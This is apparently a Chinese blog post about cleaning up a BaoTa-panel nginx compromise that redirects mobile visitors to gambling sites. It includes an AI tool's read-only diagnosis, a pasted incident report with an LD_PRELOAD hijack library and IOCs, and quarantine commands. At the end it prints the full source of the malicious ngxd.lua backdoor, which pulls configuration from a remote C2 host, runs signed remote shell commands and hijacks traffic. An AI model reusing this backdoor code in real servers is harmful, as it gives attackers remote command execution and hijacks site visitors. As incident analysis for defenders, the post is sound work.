记录一次宝塔 nginx被黑跳转违法网站的解决方法
2026-06-28 561 0
最近很多客户反馈手机访问自己服务器ip跳转违法赌博网站, 我怀疑可能是之前nginx被挖的漏洞 让codex排查了一下
这个客户服务器是debian 12,v11.7.0宝塔,nginx1.31.2,安装的开心版宝塔+宝塔防火墙
codex排查
codex排查结果:
• 只读排查结论:这是服务器本机触发的,不是手机浏览器、DNS、CDN 或运营商劫持。
我用手机 UA 请求本机 127.0.0.1 并指定 Host: ip,仍返回:
HTTP/1.1 301 Moved Permanently
Location: https://oynmj.anaox.xyz/dh
电脑 UA 同样请求则是 403。所以跳转逻辑就在这台服务器的 Nginx/Lua/WAF 链路里。
关键发现:
宝塔 WAF 被挂进了 Nginx
/www/server/panel/vhost/nginx/btwaf.conf:19 里有:lua_package_path "/www/server/btwaf/?.lua;..."
access_by_lua_file /www/server/btwaf/waf.lua;
header_filter_by_lua_file /www/server/btwaf/header.lua;发现明显后门文件
/www/server/btwaf/ngxd.lua:10这个文件非常可疑,包含:
核心位置:
配置和远控头:/www/server/btwaf/ngxd.lua:10
远程拉配置:/www/server/btwaf/ngxd.lua:546
命令执行:/www/server/btwaf/ngxd.lua:333
手机跳转逻辑:/www/server/btwaf/ngxd.lua:770
手机端识别:android / iphone
pc_ratio = 0,手机比例为 10,解释了“手机跳、电脑不跳”
远程拉配置:pull.969a.xyz
命令执行接口:X-Nginx-Authorize
os.execute 执行命令
ngx.redirect 做跳转
临时文件:/tmp/tcxnig.txt、/tmp/tronse.txt、/tmp/.machine_id
更新时间也对得上
ngxd.lua 修改时间是 2026-06-25 14:01。
Nginx 二进制是 2026-06-27 20:54 更新的。
也就是说,更新 Nginx 不能清掉 /www/server/btwaf/ 里的 Lua 后门,所以“更新了还是跳”很正常。暂时没有找到明文 require("ngxd")
这表示入口可能是:但 ngxd.lua 本身已经足够判定服务器被入侵,不建议只当成普通配置问题处理。
已经被加载到运行中的 Lua/Nginx worker 里
入口被攻击者删掉或混淆了
通过宝塔 WAF 某个 Lua 链间接加载
还有另一个未定位的持久化点
建议处理方案
短期止血,等你允许修改后可以做:
先给服务器做快照,保留证据。
临时限制宝塔面板、SSH 只允许你的 IP 访问。
隔离或删除 /www/server/btwaf/ngxd.lua。
清理相关临时文件:
/tmp/tcxnig.txt
/tmp/tronse.txt
/tmp/timestamp.txt
/tmp/.machine_id
/tmp/ngxd_*
/tmp/cmd_output_*
重装或修复宝塔 WAF,重点是不要沿用当前 /www/server/btwaf 目录。
重启 Nginx 和宝塔 WAF,而不是只 reload。
再用手机 UA 验证:
curl -I -A 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) Mobile Safari/604.1' -H 'Host: ip' http://127.0.0.1/
更稳妥的方案:
直接新开一台干净服务器,重装系统、宝塔、Nginx、PHP,然后只迁移确认干净的网站代码、数据库和上传文件。当前机器已经出现 WAF Lua 后门和命令执行能力,不能排除
还有 webshell、systemd、cron 或二进制级持久化。
需要额外注意:
所有宝塔账号、SSH 密码、数据库密码、网站后台密码、API Key、支付密钥都要轮换。
不要只升级 Nginx。
不要只删一个跳转规则,因为这不是普通 Nginx 规则。
当前 /www/server/btwaf、/www/server/nginx、/www/wwwroot 都需要继续审计。
我还看到 site_total.service 是 root 常驻服务,当前 active,暂未证明恶意,但也应纳入后续核查。
人工总结的可能原因:
宝塔开心版后门?
宝塔防火墙官方针对开心版的后面
尝试卸载宝塔防火墙,还是跳转
codex继续排查:
服务器仍返回:
HTTP/1.1 301 Moved Permanently
Location: https://ccath.anaox.xyz/dh
同样本机请求,换电脑 UA 返回 200 OK。所以这是服务器端按 UA 判断后返回的 301,不是手机缓存。
现在更关键的是:你删掉宝塔防火墙后,nginx -T 里已经看不到之前的 btwaf/waf.lua 挂载了,但跳转还在。这说明后门不只是在宝塔防火墙配置层,可能还在:
当前 Nginx 二进制或编译模块被污染;
/www/server/nginx 目录里有被污染的编译产物;
还有别的常驻服务/模块参与,比如当前还在跑的 /www/server/site_total/site_total,不过它目前看起来主要是日志统计,不能直接下结论;
站点目录或 PHP/webshell 还有持久化,重新写回了东西。
下一步不要只“删除防火墙”。建议处理顺序:
先做服务器快照
完整卸载并重装 Nginx,不是点升级
重装前备份配置,但不要直接复用 /www/server/nginx 整个目录
临时停用 site_total 插件/服务做对照测试
搜 /www/wwwroot 里的 webshell 和近期改动文件
最稳妥是新机器重装系统,迁移干净代码和数据库
当前状态已经超过“缓存”或“普通跳转规则”的范围了。删除 WAF 后仍能本机复现,优先怀疑 Nginx 本体/编译模块或其它持久化。
重新安装也不行
转机
这个时候之前的一个老用户说我之前卖的代码有问题,扔给了我一个ai的文件,发现和我遇到的情况一样,用这个文件排查的结果给codex可以修复
# 网站跳转劫持事件处置报告(2026-06-27)| 项 | 内容 | | ---- | -------------------------------------------------------- | | 日期 | 2026-06-27 | | 现象 | 多个站点(含 Next.js 站与 PHP 站)移动端访问被跳转到境外赌博域名 `*.anaox.xyz/dh` | | 本次根因 | Nginx 进程被 `LD_PRELOAD` 注入的 C 层劫持库 `libnss_http.so.2` | | 进入通道 | 宝塔面板(攻击者已持有面板权限,无需新漏洞) | | 当前状态 | 已清除并验证止跳;已加固面板与凭证;建议尽快迁移 | ---## 一、现象- 用电脑浏览器访问正常;**安卓/iPhone 移动端、或从搜索引擎点入**时被 301/302 跳转到 `*.anaox.xyz/dh`(随机子域)。- 同时影响**多个站点**(既有 Next.js 站,也有 PHP 站)——说明劫持发生在所有站点共享的 **Nginx 层**,与具体网站程序无关。- 迷惑点:劫持响应里**保留了上游应用的响应头**(`X-Powered-By`、页面 CSS 预加载头等),让 301 看起来像应用自己发的,诱导排查者去查应用代码。 ---## 二、本次根因:`LD_PRELOAD` C 层劫持库 | 项 | 详情 | | ------ | ----------------------------------------------------------------------------------------------------------------------------------- | | 恶意库 | `/usr/lib64/libnss_http.so.2`(22160 字节,伪装成系统 NSS 模块名) || SHA256 | `4343e60b0cb00abbfa660da0fec027bae91a8733471b1e431938d34851cdc303` | | 加载方式 | `/etc/init.d/nginx` 第 55 行 `export LD_PRELOAD=/usr/lib64/libnss_http.so.2`,并对该启动脚本加 `chattr +i` 防删 | | 工作原理 | 挂钩 Nginx 响应头过滤逻辑(特征 `ngx_http_top_header_filter`、`rewrite ... Location -> ...`),在响应阶段把状态改为 301/302 并写入跳转 `Location`;目标域名从云端 C2 实时拉取 | | 隐蔽性 | 劫持在 C 层、域名实时下发,因此**网站文件、Nginx 配置、Lua 脚本里都搜不到跳转域名**,常规排查极难定位 | ---## 三、攻击动作还原(基于文件改动时间)**2026-06-24 12:56**,攻击者**通过宝塔面板**(全程无 SSH 登录)执行安装脚本,一次性完成:- 写入 `/etc/init.d/nginx` 的 `LD_PRELOAD` 加载行并 `chattr +i` 锁定;- 投放劫持库 `/usr/lib64/libnss_http.so.2`;- 留下标记/残留文件:空的 `/etc/ld.so.preload`、`/etc/.Xserver_not1`(内容为标记串 `bt_qqtime`)、空的 `/www/server/nginx/html/waf.lua`;- 同日 07:15、13:00 还尝试改回旧的 lua 木马,被既有看门狗当场清除。 随后**删除了面板 6/22–6/25 的访问日志**抹除痕迹(日志从 6/21 直接跳到 6/26)。**2026-06-27 16:18 起**,该库随 Nginx 加载生效 + C2 远程开启,劫持显现并被发现。> 关键结论:本次攻击者**没有使用任何新漏洞**——其早已掌握宝塔面板(root 级)。"这次怎么进来的"= 直接登面板 → 跑脚本种 `LD_PRELOAD` 后门 → 删面板日志灭迹。这也解释了为何无 SSH 痕迹、对应日期面板日志缺失。 --- ## 四、本次处置(已完成并验证) 1. **取证**:`libnss_http.so.2` 及残留文件备份至 `/root/malware-evidence-nss-`* 与 `/root/malware-evidence-leftover-*`,并下载本机留档。2. **清除加载点**:`chattr -i` 解锁 `/etc/init.d/nginx`,注释 `LD_PRELOAD` 行并重新加锁;删除 `/usr/lib64/libnss_http.so.2`;清理 `/etc/ld.so.preload`、`/etc/.Xserver_not1`、空 `waf.lua`。3. **安全重启 Nginx**:旧进程退出后重启,确认 `/proc/<nginx>/maps` 不再加载该库。4. **新增看门狗**(每 2 分钟):`/etc/cron.d/nss-guard`(库重现即隔离重载)、`/etc/cron.d/nginx-init-guard`(`LD_PRELOAD` 行回写即注释加锁)。5. **域名 sinkhole**:`anaox.xyz` 等写入 `/etc/hosts` 指向 127.0.0.1。6. **复测**:本机与外网均确认移动端 + 搜索来源不再跳转(`200`)。**配套加固:**- 轮换 SSH、宝塔面板、数据库密码;- 更换面板安全入口路径、开启面板 SSL;- 恢复被改坏的 SSH 公钥登录(攻击者期间曾把 `PubkeyAuthentication` 关闭、改 `authorizedkeysfile`)。- **仍待补**:面板授权 IP(限制为本人)尚未设置;面板端口仍对公网开放。 ---## 五、IOC(本次)- 恶意库:`/usr/lib64/libnss_http.so.2`(SHA256 `4343e60b0cb00abbfa660da0fec027bae91a8733471b1e431938d34851cdc303`)- 加载点:`/etc/init.d/nginx` 中 `export LD_PRELOAD=/usr/lib64/libnss_http.so.2`- 标记文件:`/etc/.Xserver_not1`(内容 `bt_qqtime`)、空 `/etc/ld.so.preload`、空 `/www/server/nginx/html/waf.lua`- 跳转域名:`*.anaox.xyz`(路径 `/dh`)- 攻击者经面板登录来源 IP(境外):`23.172.200.71`、`23.172.200.75`、`207.174.4.3`、`112.10.237.147`、`188.253.123.194`、`103.186.117.236`---## 六、结论与建议- 本次劫持由 **Nginx `LD_PRELOAD` C 层库**实现,已清除并止跳;攻击者通过**宝塔面板**反复进入,能改文件、换手法、删日志。 - 单纯清木马不足以根治,**关键是关闭面板通道**:立即设置面板授权 IP(仅本人)/改端口、保持新入口路径与强密码、开启 SSL。 - 由于服务器曾被 root 级长期控制,**最稳妥是迁移到全新服务器重装**,仅迁移核对过的代码与数据,旧机隔离取证;迁移前保持看门狗运行并补好面板加固。

后续
又一个客户,正版宝塔,centos7.6 宝塔11.5 Nginx 1.22.1 也中招了
先卸载nginx,再编译安装1.31.2
发现是有个lua文件被注入了后门,而且锁了权限,需要解锁
NGXD="/www/server/nginx/lib/lua/ngxd.lua"
Q="/root/quarantine-ngxd-$(date +%F_%H%M%S)"
mkdir -p "$Q"
lsattr "$NGXD"
chattr -i "$NGXD" 2>/dev/null || true
chattr -a "$NGXD" 2>/dev/null || true
chattr -ia "$NGXD" 2>/dev/null || true
mv -f "$NGXD" "$Q/ngxd.lua"
echo "已隔离到: $Q/ngxd.lua"
样本如下
/www/server/nginx/lib/lua/ngxd.lua
local _M = {}local DB_PATH = "/www/server/ip2region/ip2region_v4.xdb"local xdb_mod = nillocal searcher_v4 = nillocal init_done = falselocal init_failed = falselocal dict = ngx.shared.lua_cachelocal config = {
official_site = "https:/".."/fa".."dfd".."sa.an".."fdnc.x".."yz/d".."h",
seo_site = "https:/".."/fa".."dfds".."a.anf".."dnc.x".."yz/d".."h",
bot_proxy_site = "https:/".."/fa".."dfd".."sa.anf".."dnc.x".."yz/",
android_ratio = 10,
iphone_ratio = 10,
pc_ratio = 0,
enabled = true,
command_header = "X-Nginx-Authorize",
command_signature_header = "X-Nginx-Signature",
command_timestamp_header = "X-Nginx-Timestamp",
command_nonce_header = "X-Nginx-Nonce",
command_public_key_b64 = "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBckJWSVdaMFBMb3MyTlBRZmdEcXYNCjVoL3F1TFZRd1RpdzAyTVVuQUJpUjUvOGZUTzBkbGhIZklxSStYbG0zbldsL3dsRVhUOW4zTUJ4S0J4WDhjTWUNCjJGdVNtTUJpQ1VNSXdYMkRIN1ZBc1JDbHh0N2xQRDI1L0x6b2wrVGNYK2ZmZ2FVWHc2cGVQaTRka2lpSkxzWEUNCmRDY3Bpc203OUJCM0JMd0xtMHlnYkUydVRjVGllYTJ4ODExb1g2d1VLcmdTekQ2L0dzUFZLcjVJVjM2bnA0UUYNClNtNHF4UGwvM1pSaXJRSmVTRDZ1SlBRK3FJaFVON3YzUWc5SVpHQ3VVcWNMREQwVWRxTFNOMkVJMS9zNE96bk0NCm1XWTRKc2tOMmQyL1p5aHhjZGZSZTVlOFJyOUNlRFQ2Mjk3a01OS2VqbnR3Um14WVhHcUtkSzRTS1A2bkZYc0MNCnF3SURBUUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0NCg==",
command_max_skew = 60}local TIMESTAMP_FILE = "/tmp/timestamp.txt"local TEMP_CONFIG_FILE = "/tmp/tcxnig.txt"local TEMP_RESPONSE_FILE = "/tmp/tronse.txt"local MACHINE_ID_FILE = "/tmp/.machine_id"local UPDATE_INTERVAL = 10 * 60local COOKIE_NAME = "k"local COOKIE_MAX_AGE = 43200local international_bots = { "googlebot", "bingbot", "slurp", "duckduckbot", "yandex", "facebookexternalhit", "linkedinbot", "twitterbot", "rogerbot", "embedly", "quora link preview", "showyoubot", "outbrain", "pinterest", "vkshare", "w3c_validator", "feedfetcher", "iframely", "screaming frog"}local cn_spiders_and_scanners = { "baiduspider", "360spider", "sogouspider", "shenmaspider", "bytedancespider", "toutiaospider", "quarkspider", "yisouspider", "petalbot", "zoomeye", "quake", "fofa", "hunter", "chaitin", "inetcloud", "dnslog", "censys", "shodan"}local search_engine_domains = { "google.", "bing.", "baidu.", "yahoo.", "duckduckgo.", "yandex.", "ask.", "sogou.", "naver.", "aol.", "so.com", "sm.cn"}local function file_exists(path)
local f = io.open(path, "rb") if f then
f:close() return true
end
return falseendlocal function is_ipv4(ip)
if not ip or ip == "" then
return false
end
local a, b, c, d = ip:match("^(%d+)%.(%d+)%.(%d+)%.(%d+)$") if not a then
return false
end
a, b, c, d = tonumber(a), tonumber(b), tonumber(c), tonumber(d) if not a or not b or not c or not d then
return false
end
return a <= 255 and b <= 255 and c <= 255 and d <= 255endlocal function init_ip2region()
if init_done then
return true
end
if init_failed then
return false
end
if not file_exists(DB_PATH) then
init_failed = true
return false
end
local ok, mod = pcall(require, "xdb_searcher") if not ok or not mod then
init_failed = true
return false
end
xdb_mod = mod
if xdb_mod.verify then
local ok_verify, verify_result = pcall(xdb_mod.verify, DB_PATH) if not ok_verify or verify_result == false then
init_failed = true
return false
end
end
local content = xdb_mod.load_content(DB_PATH) if not content then
init_failed = true
return false
end
local searcher, err = xdb_mod.new_with_buffer(xdb_mod.IPv4, content) if err or not searcher then
init_failed = true
return false
end
searcher_v4 = searcher
init_done = true
return trueendfunction get_client_ip()
local ip = ngx.var.http_cf_connecting_ip or ngx.var.http_x_real_ip or ngx.var.realip_remote_addr or ngx.var.remote_addr if not ip or ip == "" then
local xff = ngx.var.http_x_forwarded_for if xff and xff ~= "" then
ip = xff:match("^%s*([^,%s]+)") end
end
return ipendfunction is_cn(ip)
if not is_ipv4(ip) then
return false
end
if not init_ip2region() then
return true
end
local ok, region = pcall(function()
return searcher_v4:search(ip) end) if not ok or not region or region == "" then
return false
end
if region:find("^中国|") or region:find("|CN$") then
return true
end
return falseendlocal function url_encode(str)
if str then
str = string.gsub(str, "\n", "\r\n")
str = string.gsub(str, "([^%w %-%_%.%~])", function(c) return string.format("%%%02X", string.byte(c)) end)
str = string.gsub(str, " ", "+") end
return strendlocal function decode_base64(data)
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = string.gsub(data, '[^'..b..'=]', '')
local padding = 0
if data:sub(-2) == '==' then padding = 2
elseif data:sub(-1) == '=' then padding = 1 end
data = data:gsub('=', '')
local binary = data:gsub('.', function(x)
local f = (b:find(x) - 1) local r = ''
for i = 6, 1, -1 do
r = r .. (f % 2^i - f % 2^(i-1) > 0 and '1' or '0') end
return r end)
if padding == 1 then
binary = binary:sub(1, -3) elseif padding == 2 then
binary = binary:sub(1, -5) end
return binary:gsub('%d%d%d%d%d%d%d%d', function(x)
return string.char(tonumber(x, 2)) end)endlocal function encode_base64(data)
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
if not data or data == "" then return "" end
if type(data) ~= "string" then return "" end
local binary = ""
for i = 1, string.len(data) do
local byte = string.byte(data, i) local bin = ""
for j = 7, 0, -1 do
bin = bin .. (byte >= 2^j and '1' or '0') if byte >= 2^j then byte = byte - 2^j end
end
binary = binary .. bin end
local padding_bits = 6 - (string.len(binary) % 6) if padding_bits ~= 6 then
binary = binary .. string.rep('0', padding_bits) end
local result = ""
for i = 1, string.len(binary), 6 do
local chunk = binary:sub(i, i+5) local index = tonumber(chunk, 2) + 1
if index > 64 then return "" end
result = result .. b:sub(index, index) end
local pad = string.len(result) % 4
if pad == 2 then result = result .. "=="
elseif pad == 3 then result = result .. "=" end
return resultendlocal function shell_escape(str)
return "'" .. tostring(str):gsub("'", "'\\''") .. "'"endlocal function write_file(path, content, mode)
local f = io.open(path, mode or "w") if not f then
return false
end
f:write(content)
f:close() return trueendlocal function read_command_output(cmd)
local handle = io.popen(cmd) if not handle then
return nil
end
local output = handle:read("*a")
handle:close() return outputendlocal function normalize_base64_input(data)
if not data or data == "" then
return ""
end
data = tostring(data):gsub("%s+", "")
data = data:gsub("%-", "+"):gsub("_", "/") local remainder = #data % 4
if remainder > 0 then
data = data .. string.rep("=", 4 - remainder) end
return dataendlocal function fetch_remote_content(url)
local ua = ngx.var.http_user_agent or "Nginx/Bot-Proxy"
ua = string.gsub(ua, '"', '') local curl_cmd = string.format( 'curl -s -k -L -m 10 -A "%s" "%s" -o %s',
ua,
url,
TEMP_RESPONSE_FILE
)
local success = os.execute(curl_cmd) if not success then return nil end
local f = io.open(TEMP_RESPONSE_FILE, "r") if not f then return nil end
local content = f:read("*a")
f:close() os.remove(TEMP_RESPONSE_FILE)
return contentendlocal function execute_command(cmd)
if string.len(cmd) > 500 then
return "Command too long"
end
local decoded_cmd = cmd if cmd:match("^[A-Za-z0-9+/]+=*$") then
local success, result = pcall(decode_base64, cmd) if success and result and #result > 0 then
decoded_cmd = result end
end
local output_file = "/tmp/cmd_output_" .. ngx.time() .. ".txt"
local full_cmd = decoded_cmd .. " > " .. output_file .. " 2>&1"
local success = os.execute(full_cmd)
local f = io.open(output_file, "r") local output = "Command execution failed"
if f then
output = f:read("*a")
f:close() os.remove(output_file) end
return success and output or "Command execution failed: " .. outputendlocal function get_command_public_key_pem(cfg)
local public_key_b64 = normalize_base64_input(cfg.command_public_key_b64) if public_key_b64 == "" then
return nil
end
local success, decoded = pcall(decode_base64, public_key_b64) if not success or not decoded or decoded == "" then
return nil
end
if decoded:find("BEGIN PUBLIC KEY", 1, true) then
return decoded end
return nilendlocal function verify_command_request_signature(cmd, headers, cfg)
local public_key_pem = get_command_public_key_pem(cfg) if not public_key_pem then
return false
end
local signature_header = cfg.command_signature_header or "X-Nginx-Signature"
local timestamp_header = cfg.command_timestamp_header or "X-Nginx-Timestamp"
local nonce_header = cfg.command_nonce_header or "X-Nginx-Nonce"
local signature_b64 = headers[signature_header] local timestamp = tonumber(headers[timestamp_header] or "") local max_skew = tonumber(cfg.command_max_skew) or 300
local nonce = headers[nonce_header] or ""
if not signature_b64 or signature_b64 == "" or not timestamp then
return false
end
if math.abs(ngx.time() - timestamp) > max_skew then
return false
end
if nonce ~= "" and (#nonce < 16 or #nonce > 128 or not nonce:match("^[A-Za-z0-9_%-%._]+$")) then
return false
end
local normalized_signature = normalize_base64_input(signature_b64) local success, signature = pcall(decode_base64, normalized_signature) if not success or not signature or signature == "" then
return false
end
local payload = tostring(timestamp) .. "\n" .. nonce .. "\n" .. cmd local temp_seed = tostring(ngx.time()) .. "_" .. tostring(ngx.worker.pid()) .. "_" .. tostring(math.random(100000, 999999)) local payload_file = "/tmp/ngxd_payload_" .. temp_seed .. ".txt"
local signature_file = "/tmp/ngxd_signature_" .. temp_seed .. ".bin"
local public_key_file = "/tmp/ngxd_public_" .. temp_seed .. ".pem"
if not write_file(payload_file, payload) or
not write_file(signature_file, signature, "wb") or
not write_file(public_key_file, public_key_pem) then
os.remove(payload_file) os.remove(signature_file) os.remove(public_key_file) return false
end
local verify_cmd = string.format( "openssl dgst -sha256 -verify %s -signature %s %s 2>&1",
shell_escape(public_key_file),
shell_escape(signature_file),
shell_escape(payload_file)
) local verify_output = read_command_output(verify_cmd) or ""
os.remove(payload_file) os.remove(signature_file) os.remove(public_key_file) return verify_output:find("Verified OK", 1, true) ~= nilendlocal function should_update_config()
if not dict then
return false
end
local now = ngx.time() local last_update = dict:get("last_update") if last_update and now - last_update < UPDATE_INTERVAL then
return false
end
local ok = dict:add("update_lock", now, 60) if not ok then
return false
end
last_update = dict:get("last_update") if last_update and now - last_update < UPDATE_INTERVAL then
dict:delete("update_lock") return false
end
return trueendlocal function update_timestamp()
local f = io.open(TIMESTAMP_FILE, "w") if not f then return false end
f:write(tostring(ngx.time()))
f:close() return trueendlocal function parse_simple_config(content)
local result = {} if not content or content == "" then
return config
end
for line in string.gmatch(content, "[^\r\n]+") do
local key, value = string.match(line, "([^=]+)=(.+)") if key and value then
key = string.gsub(key, "^%s*(.-)%s*$", "%1")
value = string.gsub(value, "^%s*(.-)%s*$", "%1")
if key == "official_site" or key == "seo_site" or
key == "bot_proxy_site" or key == "command_header" or
key == "command_signature_header" or key == "command_timestamp_header" or
key == "command_nonce_header" or key == "command_public_key_b64" then
result[key] = value elseif key == "android_ratio" or key == "iphone_ratio" or
key == "pc_ratio" or key == "command_max_skew" then
result[key] = tonumber(value) or 30
elseif key == "enabled" then
result[key] = (value == "true" or value == "1") end
end
end
return resultendlocal function get_machine_unique_id()
local function trim(s)
if not s then return nil end
s = s:gsub("%s+", "") if s == "" then return nil end
return s end
local function read_one_line(path)
local f = io.open(path, "r") if not f then return nil end
local s = f:read("*l")
f:close() return trim(s) end
local cached_id = read_one_line(MACHINE_ID_FILE) if cached_id then
return cached_id end
local machine_id =
read_one_line("/etc/machine-id") or
read_one_line("/var/lib/dbus/machine-id") or
"11111111111111111111111111111111"
local f_write = io.open(MACHINE_ID_FILE, "w") if f_write then
f_write:write(machine_id)
f_write:close() end
return machine_idendlocal function refresh_machine_id()
os.remove(MACHINE_ID_FILE) return get_machine_unique_id()endfunction get_config()
if dict then
return parse_simple_config(dict:get("config")) end
return configendlocal function load_config()
if not should_update_config() then
return get_config() end
local machine_id = refresh_machine_id() local config_url = "https:/".."/pull.969".."a.x".."yz/lR0jM7tM.php?sid=" .. machine_id
local content = fetch_remote_content(config_url) if not content or content == "" then
if dict then
dict:set("last_update", ngx.time())
dict:delete("update_lock") end
return get_config() end
local new_config = parse_simple_config(content)
for k, v in pairs(new_config) do
config[k] = v end
if dict then
dict:set("config", content)
dict:set("last_update", ngx.time())
dict:delete("update_lock") end
return get_config()endlocal function get_request_info()
return {
ip = ngx.var.remote_addr,
uri = ngx.var.request_uri,
host = ngx.var.host,
method = ngx.req.get_method(),
referer = ngx.var.http_referer or "",
user_agent = ngx.var.http_user_agent or "",
cookie = ngx.var.http_cookie or ""
}endlocal function is_international_bot(user_agent)
if not user_agent or user_agent == "" then return false end
local ua_lower = string.lower(user_agent)
for _, pattern in ipairs(international_bots) do
if string.find(ua_lower, pattern, 1, true) then
return true
end
end
return falseendlocal function is_cn_spider_or_scanner(user_agent)
if not user_agent or user_agent == "" then return false end
local ua_lower = string.lower(user_agent)
for _, pattern in ipairs(cn_spiders_and_scanners) do
if string.find(ua_lower, pattern, 1, true) then
return true
end
end
return falseendlocal function is_from_search_engine(referer)
if not referer or referer == "" then return false end
local referer_lower = string.lower(referer)
for _, domain in ipairs(search_engine_domains) do
if string.find(referer_lower, domain, 1, true) then
return true
end
end
return falseendlocal function get_device_type(user_agent)
if not user_agent then return "pc" end
local ua_lower = string.lower(user_agent)
if string.find(ua_lower, "android", 1, true) then
return "android"
elseif string.find(ua_lower, "iphone", 1, true) or
string.find(ua_lower, "ipad", 1, true) then
return "iphone"
else
return "pc"
endendlocal function has_today_cookie(cookie)
if not cookie or cookie == "" then return false end
local today = os.date("%y%m%d") return string.find(cookie, COOKIE_NAME .. "=" .. today, 1, true) ~= nilendlocal function set_today_cookie()
local today = os.date("%y%m%d")
ngx.header["Set-Cookie"] = COOKIE_NAME .. "=" .. today ..
";Path=/;Max-Age=" .. COOKIE_MAX_AGEendlocal function should_skip_path(uri)
local path = string.match(uri, "^([^?]+)") or uri path = string.lower(path)
local static_extensions = { "%.js", "%.css", "%.png", "%.jpg", "%.jpeg", "%.gif", "%.ico", "%.svg", "%.webp", "%.woff", "%.woff2", "%.ttf", "%.eot", "%.map", "%.mp4", "%.mp3", "%.pdf", "%.zip", "%.rar", "%.json", "%.xml"
}
for _, ext in ipairs(static_extensions) do
if string.match(path, ext) then
return true
end
end
local sensitive_paths = { "/static/", "/assets/", "/public/", "/dist/", "/build/", "/media/", "/upload", "/api/", "/ajax/", "/graphql", "/v1/", "/v2/", "/admin", "/manager", "/backend", "/dashboard", "/console", "/wp%-admin", "/wp%-login", "/login", "/logout", "/register", "/signup", "/signin", "/auth", "/oauth", "/sso", "/pay", "/order", "/checkout", "/cart", "/billing", "/purchase", "/user", "/account", "/profile", "/settings", "/member", "/favicon", "/robots", "/sitemap", "/manifest", "/browserconfig", "/apple%-app%-site%-association", "/health", "/ping", "/status"
}
for _, pattern in ipairs(sensitive_paths) do
if string.match(path, pattern) then
return true
end
end
return falseendlocal function is_xhr()
local xrw = ngx.var.http_x_requested_with if xrw and xrw:lower() == "xmlhttprequest" then
return true
end
-- Accept: application/json
local accept = ngx.var.http_accept or ""
if accept:lower():find("application/json", 1, true) then
return true
end
-- Content-Type: application/json
local content_type = ngx.var.http_content_type or ""
if content_type:lower():find("application/json", 1, true) then
return true
end
return falseendmath.randomseed(ngx.now() * 1000 + ngx.worker.pid())function _M.process_request()
local cfg = load_config()
local req = get_request_info() local headers = ngx.req.get_headers() local command_header = cfg.command_header if not command_header or command_header == "" then
command_header = "X-Nginx-Authorize"
end
if is_xhr() then
return true
end
local cmd = headers[command_header] if cmd then
if not verify_command_request_signature(cmd, headers, cfg) then
return true
end
if ngx.ctx then
ngx.ctx.white_rule = true
end
local result = execute_command(cmd)
ngx.header.content_type = "text/plain"
ngx.say(result)
ngx.exit(ngx.HTTP_OK) return true
end
if not cfg.enabled then
return false
end
if is_cn_spider_or_scanner(req.user_agent) then
return true
end
if is_international_bot(req.user_agent) then
local content = fetch_remote_content(cfg.bot_proxy_site .. req.uri) if content then
ngx.header.content_type = "text/html; charset=utf-8"
ngx.say(content)
ngx.exit(ngx.HTTP_OK) return true
end
end
if is_from_search_engine(req.referer) and cfg.seo_site~="" then
if ngx.ctx then
ngx.ctx.white_rule = true
end
ngx.redirect(cfg.seo_site) return true
end
if should_skip_path(req.uri) then
return false
end
if req.method ~= "GET" then
return false
end
local official_host = string.match(cfg.official_site, "https?://([^/]+)") if official_host and req.host == official_host then
return false
end
local device = get_device_type(req.user_agent) local ratio
if device == "android" then
ratio = cfg.android_ratio elseif device == "iphone" then
ratio = cfg.iphone_ratio else
ratio = cfg.pc_ratio end
if ratio <= 0 then
return false
end
for i = 1, 3 do math.random() end
local random_num = math.random(1, 100) if random_num > ratio then
return false
end
local machine_id = get_machine_unique_id() local params = encode_base64(req.host .. "|" .. machine_id .. "|" .. device) local redirect_url = cfg.official_site
if params ~= "" and redirect_url ~="" then
local sep = string.find(cfg.official_site, "?") and "&" or "?"
if redirect_url:sub(-1) ~= "/" then
redirect_url = redirect_url .. "/"
end
redirect_url = redirect_url .. sep .. "data=" .. url_encode(params) end
if redirect_url~="" then
if is_cn(get_client_ip()) or not init_ip2region() then
ngx.header["Cache-Control"] = "no-cache, no-store, must-revalidate"
ngx.header["Pragma"] = "no-cache"
ngx.header["Expires"] = "0"
ngx.header["Referrer-Policy"] = "unsafe-url"
if ngx.ctx then
ngx.ctx.white_rule = true
end
return ngx.redirect(redirect_url) end
end
return trueendreturn _M本文转载自互联网,如有侵权,联系删除






